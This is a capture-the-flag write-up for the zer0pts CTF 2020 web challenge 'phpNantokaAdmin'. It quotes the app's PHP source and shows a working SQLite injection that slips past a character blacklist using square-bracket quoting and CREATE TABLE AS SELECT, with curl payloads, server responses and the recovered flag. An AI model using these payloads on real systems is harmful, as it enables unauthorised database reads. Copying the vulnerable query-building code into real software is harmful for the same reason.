zer0pts CTF
, zer0pts CTF 2020
, web
We're given the source codes (index.php
, util.php
) and Dockerfile
.
As you can see from index.php
, the flag is stored in every created database as a table with unknown table name and unknown column name, but you can't see it.
$pdo->query('CREATE TABLE `' . FLAG_TABLE . '` (`' . FLAG_COLUMN . '` TEXT);');
$pdo->query('INSERT INTO `' . FLAG_TABLE . '` VALUES ("' . FLAG . '");');
$pdo->query($sql);
Obviously there are SQL injection with table name, column name, and column type when creating tables in index.php
.
$stmt = $pdo->prepare("INSERT INTO `{$table_name}` VALUES (?" . str_repeat(',?', count($column_names) - 1) . ")");
$stmt->execute($values);
if (!is_valid($table_name)) {
flash('Table name contains dangerous characters.');
}
if (strlen($table_name) < 4 || 32 < strlen($table_name)) {
flash('Table name must be 4-32 characters.');
}
if (count($columns) <= 0 || 10 < count($columns)) {
flash('Number of columns is up to 10.');
}
$sql = "CREATE TABLE {$table_name} (";
$sql .= "dummy1 TEXT, dummy2 TEXT";
for ($i = 0; $i < count($columns); $i++) {
$column = (string) ($columns[$i]['name'] ?? '');
$type = (string) ($columns[$i]['type'] ?? '');
if (!is_valid($column) || !is_valid($type)) {
flash('Column name or type contains dangerous characters.');
}
if (strlen($column) < 1 || 32 < strlen($column) || strlen($type) < 1 || 32 < strlen($type)) {
flash('Column name and type must be 1-32 characters.');
}
$sql .= ', ';
$sql .= "`$column` $type";
}
$sql .= ');';
Unfortunately, these parameters are filtered by its length and is_valid
function, which is defined in util.php
.
function is_valid($string) {
$banword = [
// comment out, calling function...
"[\"#'()*,\\/\\\\`-]"
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $string)) {
return false;
}
return true;
}
Let's check available characters.
$ cat test.php
<?php
function is_valid($string) {
$banword = [
// comment out, calling function...
"[\"#'()*,\\/\\\\`-]"
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $string)) {
return false;
}
return true;
}
$res = '';
for ($i = 0x20; $i < 0x7f; $i++) {
$c = chr($i);
if (is_valid($c)) {
$res .= $c;
}
}
echo $res . "\n";
$ php test.php
!$%&+.0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[]^_abcdefghijklmnopqrstuvwxyz{|}~
[
and ]
are available. In SQLite, keywords can be enclosed in square brackets instead of backticks, so it's worthy to use.
Also, SQLite has CREATE TABLE … AS
statement, which can be used to create a table from another table.
So, you can get the information about flag table by inputting t AS SELECT sql [
to table name and ]FROM sqlite_master;
to column type when creating table.
$ curl 'http://3.112.201.75:8002/?page=create' -b cookie.txt -c cookie.txt -L -H 'Content-Type: application/x-www-form-urlencoded' --data 'table_name=t+AS+SELECT+sql+%5B&columns%5B0%5D%5Bname%5D=abc&columns%5B0%5D%5Btype%5D=%5DFROM+sqlite_master%3B'
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<link rel="stylesheet" href="style.css">
<script src="https://code.jquery.com/jquery-3.4.1.min.js" integrity="sha256-CSXorXvZcTkaix6Yvo6HppcZGetbYMGWSFlBw8HfCJo=" crossorigin="anonymous"></script>
<title>phpNantokaAdmin</title>
</head>
<body>
<h1>phpNantokaAdmin</h1>
<h2>t (<a href="?page=delete">Delete table</a>)</h2>
<form action="?page=insert" method="POST">
<table>
<tr>
<th> (dummy1 TEXT, dummy2 TEXT, `abc` </th>
</tr>
<tr>
<td>CREATE TABLE `flag_bf1811da` (`flag_2a2d04c3` TEXT)</td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td><input type="text" name="values[]"></td>
</tr>
</table>
<input type="submit" value="Insert values">
</form>
</body>
</html>
In the same way, you can get the flag.
$ curl 'http://3.112.201.75:8002/?page=create' -b cookie.txt -c cookie.txt -L -H 'Content-Type: application/x-www-form-urlencoded' --data 'table_name=t+AS+SELECT+flag_2a2d04c3+%5B&columns%5B0%5D%5Bname%5D=abc&columns%5B0%5D%5Btype%5D=%5DFROM+flag_bf1811da%3B'
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<link rel="stylesheet" href="style.css">
<script src="https://code.jquery.com/jquery-3.4.1.min.js" integrity="sha256-CSXorXvZcTkaix6Yvo6HppcZGetbYMGWSFlBw8HfCJo=" crossorigin="anonymous"></script>
<title>phpNantokaAdmin</title>
</head>
<body>
<h1>phpNantokaAdmin</h1>
<h2>t (<a href="?page=delete">Delete table</a>)</h2>
<form action="?page=insert" method="POST">
<table>
<tr>
<th> (dummy1 TEXT, dummy2 TEXT, `abc` </th>
</tr>
<tr>
<td>zer0pts{Smile_Sweet_Sister_Sadistic_Surprise_Service_SQL_Injection!!}</td>
</tr>
<tr>
<td><input type="text" name="values[]"></td>
</tr>
</table>
<input type="submit" value="Insert values">
</form>
</body>
</html>